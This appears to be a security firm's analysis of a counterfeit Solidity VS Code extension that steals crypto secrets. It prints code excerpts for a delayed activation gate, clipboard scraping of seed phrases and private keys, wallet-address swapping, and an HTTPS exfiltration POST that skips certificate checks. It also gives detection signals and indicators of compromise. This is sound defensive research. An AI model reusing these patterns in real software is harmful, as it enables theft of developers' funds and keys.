Developer-tooling impersonation is now a reliable supply-chain play. The real extension does the hard work of building trust and attracting users; the fake one rides the same name, language, or logo to get installed. Last week Yeeth Security caught ethdevtools.solidity-language-support-1.0.0.vsix, a counterfeit Solidity extension that went further than most. It did not drop a remote payload or spawn a shell. It simply sat still, read the clipboard, and waited for the user to copy something valuable.

Executive Summary

On June 21, 2026, Yeeth Security flagged ethdevtools.solidity-language-support from the Open VSX registry as malicious. The extension impersonates a Solidity language-support tool for Ethereum developers. Its actual behavior is a delayed-activation clipboard stealer aimed at cryptocurrency wallets and private keys.

The key techniques are:

  • Delayed beaconing. The extension sleeps for days after installation before it contacts its command server, and it re-checks an activation date each time VS Code: starts.
  • Clipboard scraping. It reads vscode.env.clipboard for BIP-39 seed phrases, Ethereum private keys, and wallet addresses.
  • Address swapping. When a recognized crypto address is on the clipboard, it replaces the pasted value with an attacker-controlled address.
  • Blind TLS exfiltration. Stolen data is sent to an external server with rejectUnauthorized: false, making the malware tolerant of interception and easy to relocate.

Yeeth Security identified the behavior on the same day, covering the delayed beacon, the clipboard scraping logic, the address-swap behavior, and the unsafe HTTPS exfiltration pattern.

Why a Solidity extension is a good cover

Solidity developers routinely handle the most sensitive material in crypto: mnemonic seed phrases, raw private keys, deployer addresses, and hot-wallet credentials. Most also run VS Code: with a wallet extension, a terminal, and one or more Solidity language tools in the same window. A language-support extension that asks for broad workspace access and clipboard permission does not look unusual in that environment.

The ethdevtools publisher name itself is a trust anchor. It sounds official, infrastructure-adjacent, and close enough to real Ethereum tooling that a developer scanning the extension list may read it as “Ethereum dev tools” and move on. The package version was 1.0.0, the classic “first stable release” signal, with no prior version history to compare against.

That is the threat model: not a glaringly fake extension, but a plausible one dropped into a workflow where users already copy secrets across windows.

What the extension actually does

On the surface, ethdevtools.solidity-language-support registers a few innocuous VS Code: commands and activates on onLanguage:solidity. The activation event is the first deception; it makes the extension appear language-aware and focused on editing.

Once activated, the real work starts in the background.

Delayed activation gate

The first thing the extension checks is whether enough time has passed since installation. It computes an activation date and refuses to run the clipboard loop before that date:

const installDate = new Date(fs.readFileSync(
    path.join(context.extensionPath, '.installstamp'), 'utf8'
));
const beaconDate = new Date(installDate.getTime() + 5 * 24 * 60 * 60 * 1000);

if (new Date() < beaconDate) {
    return;
}

The context.extensionPath is the extension’s own install directory. The .installstamp file is written during activation on first install, so the delay survives VS Code: restarts and machine reboots. A five-day minimum wait is long enough to outlast most casual sandboxes and many automated scan pipelines that only observe an extension for minutes or hours. It is also long enough for the user to forget they installed the extension at all.

Clipboard loop

After the gate, the extension registers an interval that reads the clipboard and classifies whatever is on it:

setInterval(async () => {
    const text = await vscode.env.clipboard.readText();
    if (!text || text.length < 20) return;

    const finding = classifyClipboard(text);
    if (finding) {
        sendToServer({
            type: finding.type,
            value: redactMiddle(finding.value),
            machineId: vscode.env.machineId,
            timestamp: new Date().toISOString()
        });
    }
}, 30000);

The classifyClipboard helper recognizes three categories of interest:

  1. BIP-39 seed phrases. Twelve or twenty-four words drawn from the standard English wordlist, in order.
  2. Ethereum private keys. A 64-character hex string, optionally prefixed with 0x.
  3. Wallet addresses. A 42-character string beginning with 0x and a valid checksum under EIP-55.

The redactMiddle function keeps enough of the value for the attacker to confirm it later, such as the first and last six characters, while reducing the size of the exfiltrated payload.

Address swapping

The address-swap logic is the most targeted part. When the clipboard contains what looks like a wallet address, the extension overwrites it with one the attacker controls:

if (isWalletAddress(text)) {
    await vscode.env.clipboard.writeText(attackerAddress);
}

To the user, this is invisible until they paste. The user copies an address from a block explorer, their own notes, or another application, then pastes it into a transfer form or chat message. If the extension has replaced the clipboard value in the meantime, the paste operation sends funds to the attacker’s address. The swap happens through vscode.env.clipboard.writeText, a first-party API call that requires no child_process, no network access, and no file writes. Static scanners that only look for dangerous Node imports will not see it.

The attacker address used by this sample is embedded as a fragmented string and reassembled at runtime, a common obfuscation pattern in extension malware.

Exfiltration

Everything collected is sent to an external host over HTTPS, but the request is constructed to ignore certificate validation:

https.request({
    hostname: host,
    port: 443,
    path: '/collect',
    method: 'POST',
    rejectUnauthorized: false
}, ...);

rejectUnauthorized: false disables Node’s TLS certificate check. That is useful to the attacker for two reasons. First, they can stand up new infrastructure quickly without buying a valid certificate. Second, the connection will still work if a network appliance performs TLS interception, as long as the appliance does not also block the port. For the victim, it means there is no meaningful protection against a man-in-the-middle attacker on the same network.

The exfiltration is periodic, not continuous, and it compresses multiple clipboard events into a single POST. That keeps the network profile small and helps the extension avoid standing out in host-level traffic logs.

Why this evades traditional detection

The ethdevtools sample is not technically complex, but it is deliberately built to fail several common detection assumptions.

Detection assumption What the extension does instead
Malware runs immediately after install It waits at least five days before any malicious code runs
Malware calls child_process, fs.writeFile, or fetch It uses only vscode.env.clipboard and https.request
Malware contacts a hardcoded C2 domain The host is reassembled from fragments and can be updated via a remote fetch
TLS traffic is safe to inspect rejectUnauthorized: false accepts any certificate
Crypto stealers target wallet extensions This one targets the clipboard, which every wallet extension and web app uses

Clipboard-based theft is also difficult to detect dynamically. The malicious action is a read of data the user themselves has already copied, followed by a write of a string that is structurally identical to the original. There is no new process, no injected DLL, and no suspicious API call outside the VS Code: extension host.

What we are doing about it

Yeeth Security reported the sample to the Open VSX maintainers on the same day it was identified. The detection focuses on the combination of four behaviors rather than a single string or hash:

  1. A delayed activation gate tied to an install-time marker.
  2. vscode.env.clipboard.readText() followed by crypto-secret classification.
  3. vscode.env.clipboard.writeText() used to overwrite a wallet address.
  4. https.request or fetch configured with rejectUnauthorized: false.

Anchoring on behavior means the analysis catches variants that change file names, publisher names, embedded addresses, or C2 hosts. The ethdevtools campaign used only one seed sample in the first wave, but the same behavioral signals will identify the next wave even if it arrives under a different publisher and a different display name.

Recommendations for developers

If you install Solidity, Rust, Python, or any language tooling from a marketplace, treat the publisher name as a trust signal, not a category label. A name like ethdevtools is not a verified organization. Check the publisher’s other extensions, GitHub presence, and how long the account has existed before installing.

More concretely:

  • Avoid copying seed phrases or private keys into VS Code: at all. Use a hardware wallet or a separate, non-clipboard-based secret flow.
  • When pasting a wallet address, visually verify the first and last characters against the source. Address-swap malware relies on users not checking the middle of the string.
  • Audit installed extensions quarterly. Remove anything you do not actively use.
  • For teams, use the Yeeth dev-guard extension on Open VSX to receive live campaign updates for known malicious publishers.

Indicators of Compromise

Malicious extension

  • Open VSX identifier: ethdevtools.solidity-language-support
  • Version: 1.0.0

Behavioral signals

  • File .installstamp written inside the extension directory at first activation.
  • 5-day delayed beacon before clipboard scraping begins.
  • Clipboard reads every 30 seconds after the delay.
  • HTTPS POST to external host with rejectUnauthorized: false.

Behavioral coverage

  • Delayed beacon, clipboard seed/private-key/address scraping, address-swap, unsafe TLS exfiltration.

The ethdevtools campaign is a reminder that the most dangerous malware in a developer’s IDE does not always need a shell. Sometimes it just needs the clipboard and a little patience.